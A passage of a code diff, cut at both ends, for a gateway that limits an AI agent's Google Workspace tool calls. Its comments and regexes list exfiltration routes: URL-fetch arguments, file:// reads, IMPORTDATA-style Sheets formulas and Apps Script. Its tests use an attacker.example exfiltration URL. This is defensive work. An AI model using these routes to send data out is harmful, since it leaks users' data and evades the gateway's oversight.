"google_workspace__get_version",+ "google_workspace__list_deployments",+ "google_workspace__list_script_processes",+ "google_workspace__list_script_projects",+ "google_workspace__list_versions",+ "google_workspace__update_script_content",+})++# Arguments that make workspace-mcp fetch a URL the model chose. Its SSRF guard+# blocks internal hosts only, so a public URL is an exfiltration channel:+# whatever the model puts in the query string leaves the box when the fetch+# runs — before any recipient gate matters (a send to the Executive's own+# address is always allowed). `create_drive_file.fileUrl` also takes file://,+# i.e. reads a local file into Drive. Attachments still reach mail as `path`,+# `content` or an `artifact_id`; Drive files as `content` / `base64_content`.+_URL_FETCH_ARGS: dict[str, frozenset[str]] = {+ "google_workspace__create_drive_file": frozenset({"fileUrl"}),+ "google_workspace__update_drive_file": frozenset({"file_url"}),+ "google_workspace__import_to_google_doc": frozenset({"file_url"}),+ "google_workspace__import_to_google_sheets": frozenset({"file_url"}),+ "google_workspace__import_to_google_slides": frozenset({"file_url"}),+}+# Normalized (lowercased, alphanumerics only) argument keys refused on EVERY+# Google Workspace tool and inside every attachment entry, so a renamed or new+# fetch argument fails closed. `urls` (a contact's websites) is not one.+_URL_FETCH_KEYS = frozenset({"url", "fileurl", "sourceurl", "remoteurl", "downloadurl"})+# Keys Google itself fetches, at any depth: insert_doc_image.image_source,+# Slides createImage.url / replaceImage.url / imageUrl and a page background's+# stretchedPictureFill.contentUrl, Forms image.sourceUri, Docs image_uri. The+# query string still lands on the attacker's host. Rather than name them, any+# key ending in url / uri (or image_source) whose value has a URL scheme is+# refused; a Drive file id (no scheme) passes. The named exceptions are stored+# as text, never fetched: a document hyperlink, a meeting link, a YouTube id.+_GOOGLE_FETCH_KEY_RE = re.compile(r"(url|uri|imagesource)$")+_STORED_URL_KEYS = frozenset({"linkurl", "conferenceuri", "youtubeuri"})+_URL_SCHEME_RE = re.compile(r"^[A-Za-z][A-Za-z0-9+.\-]*:")+# What a URL parser strips or ignores before the scheme (C0 controls, space,+# DEL, zero-width and bidi format characters, BOM) — removed before the scheme+# test so "\x01https://…" or "\u200bhttps://…" is still a URL here.+_INVISIBLE_RE = re.compile(r"[\x00-\x20\x7f\u200b-\u200f\u2028-\u202f\u2060-\u206f\ufeff]")+# Sheets functions Google evaluates by fetching a URL from the cell VALUE, so+# no key names it. Matched anywhere in any string — a `values` argument may+# arrive JSON-encoded, a CSV cell sits mid-line, "+IMPORTDATA(" needs no "=" —+# on every tool that can write cells: the Sheets tools (sheet / table /+# conditional formatting) and the Drive create / update / import tools, which+# convert CSV into a native Sheet. Other formulas (=SUM(...)) pass, as does+# the word without a call ("IMPORTDATA is a function").+_FORMULA_FETCH_RE = re.compile(r"\b(IMPORTDATA|IMPORTXML|IMPORTHTML|IMPORTFEED|IMAGE)\s*\(", re.IGNORECASE)+_CELL_WRITER_RE = re.compile(r"sheet|table|conditional|drive_file")+# A converter decodes markup before it sees a formula, so text bound for a+# Sheet is also scanned with CDATA markers, then tags and comments, removed+# and character references decoded ("IMPORT<!---->DATA(", "IMPORT<b></b>DATA(",+# "IMPORTDATA("). Tags go through utils.html_tags.strip_tags, a forward+# scan: a regex over sender-shaped text with many "<" is quadratic.+# What a converter might fold away before the formula is parsed: NUL and other+# control characters (a UTF-16-shaped CSV), Unicode format characters (a soft+# hyphen inside the name). Removed, after NFKC folding of full-width letters+# and parentheses, for one more matching pass.+_FOLDED_NOISE_RE = re.compile(r"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]")+# A JSON-encoded string argument is json.loads'ed by the server, so a gate must+# read what the server will read: "\u0049MPORTDATA(" is IMPORTDATA( once+# decoded, and a `requests` list may arrive as one string. Strings up to this+# size that parse to a list or object are walked as that value; a larger one+# on a cell-writing tool is refused, since it cannot be read.+_JSON_STRING_MAX = 2_000_000+# Nesting deeper than any real argument. Every walk stops here and FAILS+# CLOSED: `_nested_fetch_key` reports it as a hit, and `_iter_arg_strings`+# yields this sentinel, which its consumers (the formula scan, the Drive share+# scan) refuse — a payload buried past the cap is unread, and unread means+# refused, never forwarded.+_WALK_DEPTH_MAX = 32+_TOO_DEEP = "<too-deep>"+# An upload that becomes a native Sheet is evaluated by Google, and a binary+# upload (XLSX, ODS, XLS) hides its formulas behind zip members, XML encodings+# and character references — nothing a scan here can read reliably. So such an+# upload may only be text `content`, which is scanned; base64_content and a+# server-side file_path are refused for it. Every other upload (a PNG to+# Drive, a DOCX to Docs) is left alone.+_SHEET_MIME_RE = re.compile(r"spreadsheet|ms-?excel|openxmlformats.*sheet|opendocument\.spreadsheet|csv")+# Free text Google mails to someone the roster never checked: an RSVP comment+# goes to the event's organizer; an out-of-office / focus-time decline message+# goes to whoever invites the Executive during the window. Refused on every+# Google Workspace tool, whatever the spelling of the key.+_MAILED_TEXT_KEYS = frozenset({"rsvpcomment", "declinemessage"})+# Permission "type"/"scope" enum values that grant access to a population rather# than a single addressable person — i.e. public or whole-domain sharing. These# bypass the per-recipient roster model entirely, so any Drive-share argument@@ -267,12 +380,13 @@ def _check_acting_account(tool: str, arguments: dict[str, Any]) -> str | None:possibly anyone's in the domain. Someone's own mailbox is reached onlythrough ``delegation.gmail`` (Act as me), never through here. Absentmeans the server's own account and stays allowed."""- value = arguments.get("user_google_email")- if value is None:+ values = [v for v in _arg_values(arguments, "user_google_email") if v is not None]+ if not values:return Noneexec_address = get_settings().exec_email_address.strip().lower()- if isinstance(value, str) and value.strip().lower() == exec_address:+ if all(isinstance(v, str) and v.strip().lower() == exec_address for v in values):return None+ value = next(v for v in values if not (isinstance(v, str) and v.strip().lower() == exec_address))from openexecutive.audit import log_event as audit_logshown = (value if isinstance(value, str) else repr(value))[:200]@@ -292,6 +406,291 @@ def _check_acting_account(tool: str, arguments: dict[str, Any]) -> str | None:})+def _refuse(tool: str, field: str, shown: str, *, reason: str) -> str:+ """Refuse a Google Workspace call for a reason other than a recipient (a+ blocked tool, a URL fetch, an RSVP comment). Audited like `_block`, with+ ``shown`` in the row's address slot so /audit reads the same for every+ refusal."""+ from openexecutive.audit import log_event as audit_log++ field = field[:200]+ logger.warning("blocked google workspace call: tool=%s field=%s", tool, field)+ audit_log(+ "integration_outbound_blocked",+ f"Blocked a Google Workspace call (tool={tool} field={field})",+ actor="mcp_gateway",+ details={"tool": tool, "field": field, "address": shown},+ )+ return json.dumps({"error": reason})+++def _norm_key(key: str) -> str:+ return re.sub(r"[^a-z0-9]", "", key.lower())+++# workspace-mcp 1.29.0 added CamelCaseArgumentsMiddleware (core/server.py): an+# argument key that is not a declared parameter is renamed to its snake_case+# form when that form is declared and absent. So `rsvpComment`, `Attendees` or+# `userGoogleEmail` reach the tool as the real parameter — and a gate that+# matched the exact key never saw them. Every gate therefore reads a parameter+# through these, by normalized spelling, and a refusal fires on any variant.+def _arg_values(arguments: dict[str, Any], name: str) -> list[Any]:+ """Every value stored under ``name`` or a respelling of it."""+ target = _norm_key(name)+ return [v for k, v in arguments.items() if isinstance(k, str) and _norm_key(k) == target]+++def _arg(arguments: dict[str, Any], name: str) -> Any:+ """The value under ``name`` — the exact key when present (the middleware+ never overrides one), else the first respelling; None when absent."""+ if name in arguments:+ return arguments[name]+ values = _arg_values(arguments, name)+ return values[0] if values else None+++def _is_apps_script_tool(tool_name: object) -> bool:+ """True for any Apps Script tool: the known names, or (fallback) any+ Google Workspace tool whose name says script or deployment. No Gmail /+ Calendar / Drive / Docs / Sheets tool does, and an over-match refuses,+ so it fails closed."""+ if not isinstance(tool_name, str):+ return False+ if tool_name in _BLOCKED_APPS_SCRIPT_TOOLS:+ return True+ if not tool_name.startswith(_GW_PREFIX):+ return False+ bare = tool_name[len(_GW_PREFIX):]+ return "script" in bare or "deployment" in bare+++def _check_url_fetch(tool: str, arguments: dict[str, Any]) -> str | None:+ """Return None unless a Google Workspace call asks the server to fetch a+ URL (see `_URL_FETCH_ARGS`); else a JSON error. A key set to null / ""+ fetches nothing and passes."""+ named = _URL_FETCH_ARGS.get(tool, frozenset())+ for key, value in arguments.items():+ if not isinstance(key, str):+ continue+ # A gated Gmail tool's attachments have their own check, after the+ # recipient gate, so a stranger is still refused as a stranger.+ if tool in _GATED_GMAIL_TOOLS and _norm_key(key) == "attachments":+ continue+ if (key in named or _norm_key(key) in _URL_FETCH_KEYS) and value not in (None, ""):+ return _refuse(+ tool, key, "<url-fetch>",+ reason=(+ f"argument {key!r} makes the server fetch a URL, which can "+ f"carry data out — refusing. Pass the content itself (or, "+ "for a Gmail attachment, a path or artifact_id) instead."+ ),+ )+ if _google_fetches(key, value):+ return _refuse(+ tool, key, "<url-fetch>",+ reason=(+ f"{key!r} names a URL for Google to fetch, which can carry "+ "data out — refusing. Use a Drive file id instead."+ ),+ )+ nested = _nested_fetch_key(value)+ if nested is not None:+ return _refuse(+ tool, f"{key}.{nested}", "<url-fetch>",+ reason=(+ f"{nested!r} inside {key!r} names a URL to fetch (by the "+ "server or by Google), which can carry data out — refusing. "+ "Use a Drive file id or the content itself."+ ),+ )+ return None+++def _is_url(value: Any) -> bool:+ """True when ``value`` is a string a URL parser would fetch from: a scheme+ ("https:", "data:", …) or a protocol-relative "//host", after the+ characters such a parser strips are removed."""+ if not isinstance(value, str):+ return False+ cleaned = _INVISIBLE_RE.sub("", value)+ return cleaned.startswith("//") or _URL_SCHEME_RE.match(cleaned) is not None+++def _google_fetches(key: str, value: Any) -> bool:+ """True when ``key`` is one Google fetches and ``value`` is a URL."""+ norm = _norm_key(key)+ if norm in _STORED_URL_KEYS or not _GOOGLE_FETCH_KEY_RE.search(norm):+ return False+ return _is_url(value)+++def _nested_fetch_key(value: Any, depth: int = 0) -> str | None:+ """The first key below the top level that carries something to fetch: a+ `_URL_FETCH_KEYS` key with any value, or a key Google fetches+ (`_google_fetches`) whose value has a URL scheme. None when there is none."""+ if depth > _WALK_DEPTH_MAX:+ return _TOO_DEEP+ if isinstance(value, str):+ # A JSON-encoded `requests` list is walked as the list the server decodes.+ parsed = _parsed_json(value)+ return _nested_fetch_key(parsed, depth + 1) if parsed is not None else None+ if isinstance(value, dict):+ for k, v in value.items():+ if isinstance(k, str):+ if _norm_key(k) in _URL_FETCH_KEYS and v not in (None, ""):+ return k+ if _google_fetches(k, v):+ return k+ found = _nested_fetch_key(v, depth + 1)+ if found is not None:+ return found+ elif isinstance(value, (list, tuple)):+ for v in value:+ found = _nested_fetch_key(v, depth + 1)+ if found is not None:+ return found+ return None+++def _becomes_sheet(tool: str, arguments: dict[str, Any]) -> bool:+ """True when an upload through ``tool`` is converted into a native Sheet:+ the Sheets import, or a Drive create whose target type is a spreadsheet.+ A Drive update's target is unknown here, so it counts too."""+ bare = tool[len(_GW_PREFIX):] if tool.startswith(_GW_PREFIX) else tool+ if bare in ("import_to_google_sheets", "update_drive_file"):+ return True+ if bare != "create_drive_file":+ return False+ for key, value in arguments.items():+ if (+ isinstance(key, str) and _norm_key(key) in ("mimetype", "contentmimetype")+ and isinstance(value, str) and _SHEET_MIME_RE.search(value.lower())+ ):+ return True+ return False+++def _formula_fetches(text: str) -> bool:+ """True when ``text`` holds a fetching formula call, as written, with+ character references decoded, or with markup removed first."""+ if _FORMULA_FETCH_RE.search(text):+ return True+ decoded = html.unescape(text)+ if _FORMULA_FETCH_RE.search(decoded):+ return True+ # CDATA markers first: to the tag strip, "<![CDATA[DATA]]>" is one tag.+ stripped = html.unescape(strip_tags(text.replace("<![CDATA[", "").replace("]]>", "")))+ if _FORMULA_FETCH_RE.search(stripped):+ return True+ folded = _FOLDED_NOISE_RE.sub("", unicodedata.normalize("NFKC", stripped))+ folded = "".join(ch for ch in folded if unicodedata.category(ch) != "Cf")+ return _FORMULA_FETCH_RE.search(folded) is not None+++def _check_sheet_formulas(tool: str, arguments: dict[str, Any]) -> str | None:+ """Return None unless a cell-writing call carries a formula Google+ evaluates by fetching a URL (`_FORMULA_FETCH_RE`), or an upload whose+ formulas cannot be read from here; else a JSON error."""+ bare = tool[len(_GW_PREFIX):] if tool.startswith(_GW_PREFIX) else tool+ if not _CELL_WRITER_RE.search(bare):+ return None+ if _becomes_sheet(tool, arguments):+ for key, value in arguments.items():+ if not isinstance(key, str) or value in (None, ""):+ continue+ if _norm_key(key) in ("base64content", "filepath"):+ return _refuse(+ tool, key, "<uninspected-file>",+ reason=(+ f"{key!r} would become a Google Sheet, and a binary or "+ "server-side file's formulas cannot be checked here — "+ "refusing. Pass the rows as text `content` (CSV) instead."+ ),+ )+ for text in _iter_arg_strings(arguments):+ if text is _TOO_DEEP:+ return _refuse(+ tool, "values", "<unreadable>",+ reason="an argument nested this deep cannot be checked — refusing. Flatten it.",+ )+ if len(text) > _JSON_STRING_MAX and text.lstrip()[:1] in ("[", "{"):+ return _refuse(+ tool, "values", "<unreadable>",+ reason="a JSON-encoded argument this large cannot be checked — refusing. Send fewer rows per call.",+ )+ if _formula_fetches(text):+ return _refuse(+ tool, "values", "<url-fetch>",+ reason=(+ "a formula that fetches a URL (IMPORTDATA / IMPORTXML / "+ "IMPORTHTML / IMPORTFEED / IMAGE) would make Google carry data "+ "out — refusing. Write the value itself instead."+ ),+ )+ return None+++def _check_mailed_text(tool: str, arguments: dict[str, Any]) -> str | None:+ """Return None unless the call carries text Google would mail to someone+ the roster never checked (`_MAILED_TEXT_KEYS`); else a JSON error."""+ for key, value in arguments.items():+ if isinstance(key, str) and _norm_key(key) in _MAILED_TEXT_KEYS and value not in (None, ""):+ return _refuse(+ tool, key, "<unchecked-recipient>",+ reason=(+ f"{key!r} is mailed by Google to a person the People roster "+ "never checked (an event's organizer, whoever sends an "+ "invitation) — refusing. Leave it out."+ ),+ )+ return None+++def _attachment_fetches_url(attachments: Any) -> bool:+ """True when a Gmail ``attachments`` argument asks workspace-mcp to fetch+ a URL for any entry. Unknown shapes count as fetching (fail closed);+ ``artifact_id`` entries and path / content entries do not."""+ if attachments is None:+ return False+ if isinstance(attachments, str):+ try:+ attachments = json.loads(attachments)+ except RecursionError:+ return True+ except ValueError:+ return "://" in attachments or re.search(r"\burl\b", attachments, re.I) is not None+ if isinstance(attachments, dict):+ attachments = [attachments]+ if not isinstance(attachments, list):+ return True+ for entry in attachments:+ if isinstance(entry, dict):+ # Any depth, like every other Workspace argument: a url under+ # `metadata` is still a url, and past the depth cap it is refused.+ if _nested_fetch_key(entry) is not None:+ return True+ elif isinstance(entry, str):+ if "://" in entry:+ return True+ else:+ return True+ return False+++def _check_attachment_urls(tool: str, arguments: dict[str, Any]) -> str | None:+ """Return None unless a gated Gmail call attaches by URL; else a JSON error."""+ if not _attachment_fetches_url(arguments.get("attachments")):+ return None+ return _refuse(+ tool, "attachments", "<url-fetch>",+ reason=(+ "an attachment given as a URL makes the server fetch it, which can "+ "carry data out — refusing to send. Attach by path, by content, or "+ "by artifact_id instead."+ ),+ )++def _roster_allow_set() -> set[str]:"""The set of lowercased addresses the Executive may reach outbound.@@ -555,25 +954,33 @@ def _check_calendar_attendees(tool: str, arguments: dict[str, Any]) -> str | Nonrequired by manage_event and validated by the typed tool; its absence ina raw call is handled below by the attendees check path."""- action = arguments.get("action", "")+ # rsvp_comment (text mailed to the organizer) is refused for every tool by+ # _check_mailed_text, before this gate runs.+ # Action is matched as the server matches it (case- and space-insensitive),+ # so a "Delete" is a delete here too rather than a stricter accident.+ action = str(_arg(arguments, "action") or "").strip().lower()if action in ("delete", "rsvp"):return None- attendees = arguments.get("attendees")+ # Every spelling of `attendees` is read: the server renames `Attendees`+ # to the real parameter, so a variant is as good as the exact key.# None = no attendees field at all → pass through (e.g. organizer-only event).# Empty list [] = explicitly supplied with no names → also pass through;# the typed create_calendar_event tool always supplies at least one attendee,# and a raw call with [] creates an organizer-only event (no roster leak).# Any non-empty list → every address must be roster-validated.- if attendees is None:+ supplied = [v for v in _arg_values(arguments, "attendees") if v is not None]+ if not supplied:return None- if isinstance(attendees, list) and len(attendees) == 0:+ if all(isinstance(v, list) and len(v) == 0 for v in supplied):return Noneallow = _roster_allow_set()# attendees may be a list of strings (emails) or dicts with an "email" key.- items = attendees if isinstance(attendees, list) else [attendees]+ items: list[Any] = []+ for attendees in supplied:+ items.extend(attendees if isinstance(attendees, list) else [attendees])for item in items:if isinstance(item, dict):email = item.get("email", "")@@ -592,7 +999,49 @@ def _check_calendar_attendees(tool: str, arguments: dict[str, Any]) -> str | Nonreturn None-def _iter_arg_strings(value: Any) -> Iterator[str]:+def _pin_calendar_notifications(arguments: dict[str, Any]) -> dict[str, Any]:+ """Keep a manage_event call that named no attendees from emailing the+ event's existing guests.++ The attendee gate checks only the ``attendees`` argument. An update that+ leaves it out keeps the event's current guest list — which may hold+ people off the roster — and Google mails every guest the new title,+ description or time unless ``send_updates`` is "none". So such a call is+ forced to "none": the change lands on the calendar and nobody is emailed+ text the gate never saw. A call that passes attendees had them checked+ and keeps its own ``send_updates``; delete and rsvp carry no new text; a+ create without attendees has nobody to mail, so the pin is moot there.+ """+ action = str(_arg(arguments, "action") or "").strip().lower()+ if action in ("delete", "rsvp"):+ return arguments+ supplied = [v for v in _arg_values(arguments, "attendees") if v is not None]+ if any(not (isinstance(v, list) and not v) for v in supplied):+ return arguments+ if _arg_values(arguments, "send_updates") == ["none"]:+ return arguments+ logger.info("manage_event without attendees: send_updates pinned to none")+ # Every spelling goes, so no `sendUpdates: "all"` survives beside the pin.+ pinned = {k: v for k, v in arguments.items()+ if not (isinstance(k, str) and _norm_key(k) == "sendupdates")}+ pinned["send_updates"] = "none"+ return pinned+++def _parsed_json(text: str) -> dict[str, Any] | list[Any] | None:+ """The list or object a string argument encodes, else None. The server+ json.loads such a string, so a gate reads it the same way."""+ head = text.lstrip()[:1]+ if head not in ("[", "{") or len(text) > _JSON_STRING_MAX:+ return None+ try:+ parsed = json.loads(text)+ except (ValueError, RecursionError):+ return None+ return parsed if isinstance(parsed, (dict, list)) else None+++def _iter_arg_strings(value: Any, depth: int = 0) -> Iterator[str]:"""Yield every string anywhere in a (possibly nested) argument value.Drive-share tool schemas vary across workspace-mcp versions and a grantee@@ -600,18 +1049,27 @@ def _iter_arg_strings(value: Any) -> Iterator[str]:or even a dict *key* (e.g. an email-keyed permission map). Walking everystring in both key and value position — rather than trusting a fixed set offield names — keeps the gate fail-closed against an email smuggled through an- unexpected shape.+ unexpected shape. A string that encodes JSON is also walked as the value it+ encodes, which is what the server sees after json.loads. Past+ `_WALK_DEPTH_MAX` it yields `_TOO_DEEP` once instead of going silent, so a+ consumer refuses what it could not read."""+ if depth > _WALK_DEPTH_MAX:+ yield _TOO_DEEP+ returnif isinstance(value, str):yield value+ parsed = _parsed_json(value)+ if parsed is not None:+ yield from _iter_arg_strings(parsed, depth + 1)elif isinstance(value, dict):for k, v in value.items():if isinstance(k, str):yield k- yield from _iter_arg_strings(v)+ yield from _iter_arg_strings(v, depth + 1)elif isinstance(value, (list, tuple)):for v in value:- yield from _iter_arg_strings(v)+ yield from _iter_arg_strings(v, depth + 1)def _is_truthy_public(value: Any) -> bool:@@ -692,6 +1150,16 @@ def _check_drive_share(tool: str, arguments: dict[str, Any]) -> str | None:)for s in _iter_arg_strings(arguments):++ if s is _TOO_DEEP:++ return _refuse(++ tool, "share", "<unreadable>",++ reason="a share argument nested this deep cannot be checked — refusing. Flatten it.",++ )if _norm_share_token(s) in _PUBLIC_SHARE_SCOPES:return _block("scope", s.strip(), tool,@@ -941,18 +1409,45 @@ class MCPGateway:if isinstance(arguments, str):try:arguments = json.loads(arguments)- except json.JSONDecodeError:+ except (json.JSONDecodeError, RecursionError):logger.warning("call_tool: arguments was a string but not valid JSON — using empty dict")arguments = {}tool_name = tool_input.get("name", "")attached_artifacts: list[str] = []# Every Google Workspace call acts as the Executive's own account.- if isinstance(tool_name, str) and tool_name.startswith(_GW_PREFIX) and isinstance(arguments, dict):+ if _is_apps_script_tool(tool_name):+ return _refuse(+ tool_name, "tool", "<apps-script>",+ reason=(+ f"{tool_name} is not available: Apps Script runs code as "+ "the Executive's Google account outside the outbound "+ "gates. Do not retry with another script tool."+ ),+ )+ if isinstance(tool_name, str) and tool_name.startswith(_GW_PREFIX):+ # Every gate below reads a dict; anything else would skip them all.+ if not isinstance(arguments, dict):+ return _refuse(+ tool_name, "arguments", "<non-object>",+ reason="arguments must be a JSON object — refusing.",+ )blocked = _check_acting_account(tool_name, arguments)if blocked is not None:return blocked+ blocked = _check_url_fetch(tool_name, arguments)+ if blocked is not None:+ return blocked+ blocked = _check_mailed_text(tool_name, arguments)+ if blocked is not None:+ return blocked+ blocked = _check_sheet_formulas(tool_name, arguments)+ if blocked is not None:+ return blockedif tool_name in _GATED_GMAIL_TOOLS:blocked = _check_gmail_recipients(tool_name, arguments)+ if blocked is not None:+ return blocked+ blocked = _check_attachment_urls(tool_name, arguments)if blocked is not None:return blocked# Only after the recipients pass: render any artifact the model@@ -965,6 +1460,7 @@ class MCPGateway:blocked = _check_calendar_attendees(tool_name, arguments)if blocked is not None:return blocked+ arguments = _pin_calendar_notifications(arguments)if _is_drive_share_tool(tool_name):blocked = _check_drive_share(tool_name, arguments)if blocked is not None:diff --git a/packages/core/tests/unit/test_mcp_gateway_calendar_egress.py b/packages/core/tests/unit/test_mcp_gateway_calendar_egress.pyindex a79e693f..cd728e84 100644--- a/packages/core/tests/unit/test_mcp_gateway_calendar_egress.py+++ b/packages/core/tests/unit/test_mcp_gateway_calendar_egress.py@@ -230,3 +230,89 @@ def test_gmail_gate_unaffected() -> None:# (the "to" key is not checked by the calendar gate). The call goes through.# For Gmail gate behaviour, see test_mcp_gateway_email_egress.py.assert "error" not in json.loads(result) or "not on the People roster" in json.loads(result).get("error", "")+++# ---------------------------------------------------------------------------+# rsvp_comment — free text mailed to the organizer, who may be off-roster+# ---------------------------------------------------------------------------+++def test_rsvp_comment_refused() -> None:+ gateway, session_call = _make_gateway()+ result = _call(+ gateway,+ {"action": "rsvp", "event_id": "e1", "rsvp_response": "accepted",+ "rsvp_comment": "see you there"},+ [],+ )+ assert session_call.await_count == 0+ assert "rsvp_comment" in json.loads(result)["error"]+++def test_rsvp_comment_refused_whatever_the_action() -> None:+ """The field is checked before the delete/rsvp pass-through."""+ gateway, session_call = _make_gateway()+ result = _call(gateway, {"action": "delete", "event_id": "e1", "rsvp_comment": "x"}, [])+ assert session_call.await_count == 0+ assert "rsvp_comment" in json.loads(result)["error"]+++def test_rsvp_without_comment_passes() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, {"action": "rsvp", "event_id": "e1", "rsvp_response": "declined",+ "rsvp_comment": None}, [])+ assert session_call.await_count == 1+++# ---------------------------------------------------------------------------+# send_updates — pinned to "none" when no attendee was checked+# ---------------------------------------------------------------------------+++def _forwarded(session_call: AsyncMock) -> dict[str, Any]:+ return session_call.await_args.args[1]["arguments"]+++def test_update_without_attendees_pins_send_updates_none() -> None:+ """The event's existing guests may be off-roster; the new description must+ not be mailed to them."""+ gateway, session_call = _make_gateway()+ _call(gateway, {"action": "update", "event_id": "e1", "description": "new text",+ "send_updates": "all"}, [])+ assert session_call.await_count == 1+ assert _forwarded(session_call)["send_updates"] == "none"+++def test_update_with_empty_attendees_pins_send_updates_none() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, {"action": "update", "event_id": "e1", "attendees": []}, [])+ assert _forwarded(session_call)["send_updates"] == "none"+++def test_action_case_and_spacing_still_pins() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, {"action": " Update", "event_id": "e1", "send_updates": "all"}, [])+ assert _forwarded(session_call)["send_updates"] == "none"+++def test_update_with_roster_attendees_keeps_send_updates() -> None:+ """Attendees were checked, so notifying them is the caller's choice."""+ gateway, session_call = _make_gateway()+ _call(gateway, {"action": "update", "event_id": "e1",+ "attendees": ["[email protected]"], "send_updates": "all"},+ ["[email protected]"])+ assert _forwarded(session_call)["send_updates"] == "all"+++def test_delete_keeps_send_updates() -> None:+ """A cancellation carries no new text."""+ gateway, session_call = _make_gateway()+ _call(gateway, {"action": "delete", "event_id": "e1", "send_updates": "all"}, [])+ assert _forwarded(session_call)["send_updates"] == "all"+++def test_pin_does_not_touch_other_arguments() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, {"action": "update", "event_id": "e1", "summary": "S"}, [])+ fwd = _forwarded(session_call)+ assert fwd["summary"] == "S" and fwd["event_id"] == "e1" and fwd["action"] == "update"diff --git a/packages/core/tests/unit/test_mcp_gateway_fetch_and_script_egress.py b/packages/core/tests/unit/test_mcp_gateway_fetch_and_script_egress.pynew file mode 100644index 00000000..7fbd4d22--- /dev/null+++ b/packages/core/tests/unit/test_mcp_gateway_fetch_and_script_egress.py@@ -0,0 +1,227 @@+"""Two refusals that close paths around the recipient gates:++- every Apps Script tool (code running as the Executive's Google account,+ outside the gates — and, since workspace-mcp 1.29.0, schedulable);+- any argument that makes workspace-mcp fetch a URL the model chose+ (Drive `fileUrl` / `file_url`, an attachment given as a `url`): the fetch+ can carry data out in the query string before any recipient gate matters.++Mirrors the structure of test_mcp_gateway_email_egress.py.+"""+from __future__ import annotations++import asyncio+import json+from pathlib import Path+from types import SimpleNamespace+from typing import Any+from unittest.mock import AsyncMock, MagicMock, patch++import pytest++import openexecutive.audit+import openexecutive.orchestrator.mcp_gateway as gw_module+from openexecutive.orchestrator.mcp_gateway import MCPGateway+from openexecutive.people import store as people_store++EXEC_ADDR = "[email protected]"+ALICE = "[email protected]"++[email protected](autouse=True)+def isolated(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:+ db_path = tmp_path / "people.db"+ monkeypatch.setattr(people_store, "DB_PATH", db_path)+ people_store.initialize_db()+ people_store.upsert_person(full_name="Alice", email=ALICE)+ # Refusals are audited; keep the rows out of the shared default DB.+ monkeypatch.setattr(openexecutive.audit, "log_event", lambda *a, **k: None)+++def _make_gateway() -> tuple[MCPGateway, AsyncMock]:+ gateway = MCPGateway()+ session = MagicMock()+ fake_result = MagicMock()+ fake_result.content = [MagicMock(text='{"ok": true}')]+ session.call_tool = AsyncMock(return_value=fake_result)+ gateway._session = session+ return gateway, session.call_tool+++def _call(gateway: MCPGateway, tool_name: str, arguments: dict[str, Any]) -> str:+ settings = SimpleNamespace(exec_email_address=EXEC_ADDR, email_poll_interval_seconds=60)+ with patch.object(gw_module, "get_settings", return_value=settings):+ return asyncio.run(gateway.call_tool({"name": tool_name, "arguments": arguments}))+++# ---------------------------------------------------------------------------+# Apps Script+# ---------------------------------------------------------------------------++[email protected]("bare", sorted(+ t[len("google_workspace__"):] for t in gw_module._BLOCKED_APPS_SCRIPT_TOOLS+))+def test_every_known_apps_script_tool_is_refused(bare: str) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, f"google_workspace__{bare}", {"script_id": "abc"})+ assert session_call.await_count == 0+ assert "Apps Script" in json.loads(result)["error"]++[email protected]("bare", ["manage_script_thing", "list_deployment_targets", "run_script"])+def test_unknown_script_or_deployment_name_is_refused(bare: str) -> None:+ """A rename in a future workspace-mcp must not reopen the path."""+ gateway, session_call = _make_gateway()+ result = _call(gateway, f"google_workspace__{bare}", {})+ assert session_call.await_count == 0+ assert "Apps Script" in json.loads(result)["error"]++[email protected]("bare", [+ "get_events", "get_doc_content", "search_gmail_messages", "get_drive_file_content",+ "read_sheet_values", "list_calendars",+])+def test_ordinary_workspace_tools_pass(bare: str) -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, f"google_workspace__{bare}", {"x": 1})+ assert session_call.await_count == 1+++def test_other_servers_are_not_pattern_matched() -> None:+ """The name pattern is scoped to the google_workspace namespace."""+ gateway, session_call = _make_gateway()+ _call(gateway, "notion__run_script", {})+ assert session_call.await_count == 1+++def test_apps_script_refused_before_any_argument_check() -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__run_script_function", {"fileUrl": "https://x/"})+ assert session_call.await_count == 0+ assert "Apps Script" in json.loads(result)["error"]+++# ---------------------------------------------------------------------------+# URL fetch arguments on Drive / import tools+# ---------------------------------------------------------------------------++[email protected]("tool,key", [+ ("google_workspace__create_drive_file", "fileUrl"),+ ("google_workspace__update_drive_file", "file_url"),+ ("google_workspace__import_to_google_doc", "file_url"),+ ("google_workspace__import_to_google_sheets", "file_url"),+ ("google_workspace__import_to_google_slides", "file_url"),+])+def test_url_fetch_argument_refused(tool: str, key: str) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, tool, {"file_name": "a.pdf", key: "https://attacker.example/?d=secret"})+ assert session_call.await_count == 0+ assert "fetch a URL" in json.loads(result)["error"]+++def test_file_scheme_refused_too() -> None:+ """create_drive_file.fileUrl accepts file:// — a local read into Drive."""+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__create_drive_file",+ {"file_name": "env", "fileUrl": "file:///data/company/profile.yaml"})+ assert session_call.await_count == 0+ assert "fetch a URL" in json.loads(result)["error"]++[email protected]("value", [None, ""])+def test_null_or_empty_url_argument_passes(value: Any) -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__create_drive_file",+ {"file_name": "a.txt", "content": "hello", "fileUrl": value})+ assert session_call.await_count == 1+++def test_content_upload_passes() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__create_drive_file",+ {"file_name": "a.txt", "content": "hello", "folder_id": "f1"})+ assert session_call.await_count == 1++[email protected]("key", ["download_url", "DownloadURL", "source-url", "URL"])+def test_unknown_url_key_on_any_workspace_tool_refused(key: str) -> None:+ """Fails closed against a renamed or new fetch argument."""+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__some_future_tool", {key: "https://x/"})+ assert session_call.await_count == 0+ assert "fetch a URL" in json.loads(result)["error"]+++def test_contact_urls_field_is_not_a_fetch() -> None:+ """manage_contact.urls stores a person's websites; nothing is fetched."""+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__manage_contact",+ {"action": "update", "resource_name": 